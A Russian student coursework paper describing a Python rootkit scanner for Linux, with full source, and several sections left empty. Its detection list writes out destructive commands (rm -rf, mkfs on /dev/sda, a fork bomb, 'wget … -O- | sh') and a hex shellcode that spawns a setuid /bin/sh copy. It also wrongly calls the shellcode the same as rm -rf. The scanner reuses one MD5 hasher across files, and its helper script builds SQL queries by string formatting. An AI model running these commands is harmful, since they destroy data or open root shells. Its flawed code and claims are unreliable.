Казанский (Приволжский) Федеральный Университет

Институт Вычислительной математики и информационных технологий

Кафедра системного анализа и информационных технологий

**Курсовая работа**

**«Поиск руткитов на ПК под управлением операционных систем семейства Linux»**

Выполнила: студентка 3 курса

Направления «Информационная безопасность»

Группы 09-311

Родионова Елена

Научный руководитель:

Долгов Дмитрий Александрович

Казань,2016

Содержание

[1. Постановка Задачи 1](#_Toc450866139)

[2. Краткое введение 1](#_Toc450866140)

[2.1 Что такое руткиты, использование во вредоносном ПО 1](#_Toc450866141)

[2.2 Наиболее распространенные примеры руткитов, характеристики 2](#_Toc450866142)

[2.3 Обзор антивирусного ПО 3](#_Toc450866143)

[3. Методы решения 4](#_Toc450866144)

[3.1 Распространенные методы поиска руткитов 5](#_Toc450866145)

[3.2 Методы, примененные в работе 5](#_Toc450866146)

[3.3 Разработка сканнера 5](#_Toc450866147)

[3.4 Вспомогательные результаты 8](#_Toc450866148)

[3.5 Итоги 8](#_Toc450866149)

[3.6 Вывод 8](#_Toc450866150)

[Приложение 1. Исходные тексты программ 9](#_Toc450866151)

[Приложение 2. Результаты тестирования сканнера 11](#_Toc450866152)

[Список литературы 11](#_Toc450866153)

# Постановка Задачи

Написать утилиту под операционную систему GNU/Linux для поиска руткитов.

Требования к утилите:

1. Возможность сканирования как всех доступных директорий, так и директорий по выбору
2. Относительная быстрота
3. Сравнение сканируемых файлов с файлами реальных руткитов посредством md5-хеширования
4. Использование white list (“белого списка”) для предотвращения ложных срабатываний
5. Вывод результатов: путь к зараженным файлам, общее количество файлов, количество отсканированных файлов, общее время сканирования
6. Нахождение в файлах потенциально опасных linux-команд (например, rm -rf)
7. Сканирование файлов, задействованных в процессах по определенными ip -адресами (фактически, сканирование портов)

# 2. Краткое введение

## 2.1 Что такое руткиты, использование во вредоносном ПО

## 2.2 Наиболее распространенные примеры руткитов, характеристики

## 2.3 Обзор антивирусного ПО

# Методы решения

## Распространенные методы поиска руткитов

## Методы, примененные в работе

## Разработка сканнера

Для разработки сканнера был выбран язык программирования Python. В наше время распространено очень много языков программирования, среди которых имеются как «классические» (C++, Java), так и относительно «молодые» в плане широкого использования (C#, Swift, Ruby). Каждый язык обладает определенным набором положительных качеств (и собственными недостатками), и выбор конкретного из них среди такого множества представляется нетривиальной задачей.

Тем не менее для решения данной задачи в качестве языка программирования был выбран Python (использовалась версия 3.4).

Что послужило такому выбору:

1. Синтаксис языка достаточно прост и лаконичен, что позволяет ускорить процесс разработки
2. Стандартная библиотека языка имеет множество средств для решения разного рода задач, в том числе и нашей
3. Python относится к языкам с динамической типизацией, что позволит без написания новых классов создавать списки и словари из объектов (ускорение разработки)

Но также имеются и недостатки, например, это меньшее быстродействие, нежели у С++. Но в рамках нашей задачи, как показывает практика, такая скорость допустима.

В задаче используется проверка стандартных для семейства операционных систем Linux директорий, а именно: /, /home, /opt, /bin, /usr/bin, по умолчанию сканируются все директории от корня ( / ).

Для проверки файлов на наличие вредоносных linux-команд используются регулярные выражения, построенные для 7 команд.

Обоснуем почему выделены именно эти 7 команд и чем они примечательны:

1. Команда rm -rf (с правами администратора «sudo») - рекурсивное удаление всех файлов на персональном компьютере и подключенных носителях
2. "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"  
   "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"  
   "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"  
   "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"  
   "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"  
   "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"  
   "\x6e\x2f\x73\x68\x00\x2d\x63\x00"  
   "cp -p /bin/sh /tmp/.beyond; chmod 4755  
   /tmp/.beyond;";

Шестнадцатеричный код то же команды, что и в первом примере

1. mkfs.ext3 /dev/sda - форматирование устройства /dev/sda с удалением всех файлов на нём. Аналогично действуют команды mkfs.ext1, mkfs.ext2, mkfs.ext4 для устройств sdb,sdc,sdd (заменим соответсвующие буквы в команде)
2. :(){:|:&};: - Запуск слишком большого количества процессов приведёт к зависанию системы
3. any\_command > /dev/sda - запись потока данных на устройство /dev/sda, который заменит все файлы на нём. Аналогично работают команды для устройств sdb,sdc,sdd (заменим соответсвующие буквы в команде)
4. wget http://sumber\_tak\_terpercaya -O- | sh - cкачивает шелл-скрипт из ненадёжного источника и исполняет его после окончания скачивания
5. mv /home/username/\* /dev/null - команда перемещает домашнюю директорию в место, которого на самом деле не существует. Другими словами, просто удаляет домашнюю директорию.

Сканер должен проверять файлы на наличие в них вредоносного содержимого – фрагментов кода известных руткитов. Информацию же о файлах руткитов необходимо каким-то образом хранить, например, в виде md5-хешей каждого из файлов руткита. Тогда появляется необходимость завести базу данных.

В программе используется база данных в формате SQLite, с которой удобно работать, используя встроенные средства Python для работы с БД.

Преимущества, учтенные при выборе именно этого формата:

1. Наличие встроенных средств для работы с SQLite в Python, нет необходимости устанавливать дополнительные библиотеки
2. Для работы с БД не требуется запуск сервера
3. Сама БД выполнена в виде файла, который можно при необходимости легко редактировать
4. Основой является известный нам SQL

Кроме того, необходимо учесть наличие ложных срабатываний. Для этих целей предусмотрен так называемый «белый список», куда помещаются «хорошие» файлы, вызвавшие срабатывание сканера на этапе тестирования, для исключения повторных случаев неправильной работы.

## Вспомогательные результаты

Для работы сканера необходимо наличие базы файлов руткитов. Данные файлы были найдены в сети Интернет. Как было описано выше, требовалось занесение md5-хешей этих файлов в базу данных SQLite, для чего был написан вспомогательный скрипт ( см.Приложение 1).

## Итоги

На языке Python

## Вывод

## Приложение 1. Исходные тексты программ

В данном разделе приведены полные исходные коды описываемой утилиты и вспомогательных скриптов. Тестирование на работоспособность проводилось на Linux – дистрибутиве семейства Ubuntu 14.04 LTS с использованием интерпретатора языка Python версии 3.4

*Файл scanner.py – основной файл, проверяет выбранную директорию на наличие вредоносного кода, содержит в себе обращение к базе данных (для сравнения md5 файлов руткитов)*

1. #!/usr/bin/env python3
2. import os, sys, re, time, hashlib, sqlite3
3. import os.path
4. regexes = [
5. re.compile(rb"\Wrm \-rf /\W"),
6. re.compile(rb"\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond"),
7. re.compile(rb"mkfs\\.ext[1234]? /dev/sd[abcd]?"),
8. re.compile(rb":\(\)\{\:\|:\&\};:"),
9. re.compile(rb"\w+ > /dev/sda"),
10. re.compile(rb".+? > /dev/sd[a-d]"),
11. re.compile(rb"wget (http(s?)|ftp)://[\w\-/\.\_]+ -O- \| sh"),
12. re.compile(rb"mv /home/\w/\\* /dev/null")
13. ]
14. whitelist = [os.path.abspath("./RootkitScripts")]
15. selectlist = ["/", "/home", "/opt", "/bin", "/usr/bin"]
16. #128-bit base-16 strings (length = 32)
17. con = sqlite3.connect("db.sqlite3")
18. with con:
19. cur = con.cursor()
20. cur.execute("SELECT md5, name FROM malware")
21. #md5s = ["0123456789abcdef0123456789abcdef",
22. # "fedcba9876543210fedcba9876543210"]
23. md5s = {r[0]: r[1] for r in cur.fetchall()}
24. if os.geteuid() != 0:
25. sys.exit("Please run this as root. If you don't trust the file, read the sources at %s" % os.path.abspath(\_\_file\_\_))
26. ans = input("Do you want to scan (y/N)?")
27. if ans != "y": sys.exit("Scanning aborted")
28. print("Choose what do you want to scan:")
29. for (i, s) in enumerate(selectlist):
30. print("%2d --- %s" % (i + 1, s))
31. choice = 0
32. while choice < 1 or choice > len(selectlist):
33. try:
34. choice = int(input("Enter your choice between 1 and %d: " % len(selectlist)))
35. except:
36. choice = 0
37. selected = selectlist[choice - 1]
38. print("Scanning started")
39. hasher = hashlib.md5()
40. start = time.perf\_counter()
41. fileno = scanned = 0
42. malicious = []
43. for dirpath, dirnames, filenames in os.walk(selected):
44. c = 0
45. for w in whitelist:
46. if os.path.commonpath([dirpath, w]) == w:
47. c = 1
48. if c:
49. continue
50. for filename in (f for f in filenames):
51. fileno += 1
52. fullfilename = os.path.join(dirpath, filename)
53. if fileno % 500 == 0:
54. print("Checking file %d..." % fileno)
55. try:
56. mode = os.stat(fullfilename).st\_mode
57. except:
58. print("Exception occurred while retrieving info for file %d : %s" % (fileno, fullfilename))
59. if mode & 73: # 111 base-8
60. try:
61. with open(fullfilename, "rb") as content\_file:
62. content = content\_file.read()
63. hasher.update(content)
64. digest = hasher.hexdigest()
65. if digest in md5s:
66. print("The file %d : %s is suspected to contain %s due to MD5 hash sum %s" % (fileno, fullfilename, md5s[digest], digest))
67. malicious.append(fullfilename)
68. continue
69. for r in regexes:
70. if r.search(content):
71. print("The file %d : %s is suspected to contain malicious commands" % (fileno, fullfilename))
72. malicious.append(fullfilename)
73. break
74. scanned += 1
75. except Exception as e:
76. print("Exception occurred while working with file %d : %s (%s)" % (fileno, fullfilename, e))
77. finish = time.perf\_counter()
78. print("Scanning finished. Total time: %s seconds" % (finish - start))
79. print("=" \* 50)
80. print("FILES: total %d, scanned %d" % (fileno, scanned))
81. print("\*" \* 50)
82. print("LIST OF MALICIOUS FILES (%d)" % len(malicious))
83. for m in malicious:
84. print(m)

*Файл rk2bd.py – вспомогательный файл, необходим для перевода файлов известных руткитов в вид md5-хешей и последующего их занесения в базу данных*

1. #!/usr/bin/env python3
2. import os, hashlib, sqlite3
3. hasher = hashlib.md5()
4. con = sqlite3.connect("db.sqlite3")
5. cur = con.cursor()
6. for dirpath, dirnames, filenames in os.walk("RootkitScripts"):
7. for filename in (f for f in filenames):
8. fullfilename = os.path.join(dirpath, filename)
9. with open(fullfilename, "rb") as content\_file:
10. content = content\_file.read()
11. hasher.update(content)
12. digest = hasher.hexdigest()
13. present = list(cur.execute("SELECT \* FROM malware WHERE md5 = '%s'" % digest))
14. info = (digest, fullfilename)
15. if present:
16. print("Digest %s for %s already present" % info)
17. continue
18. print("Inserting digest %s for %s..." % info)
19. cur.execute("INSERT INTO malware (md5, name) VALUES ('%s', '%s')" % info)
20. con.commit()

## Приложение 2. Результаты тестирования сканнера

## Список литературы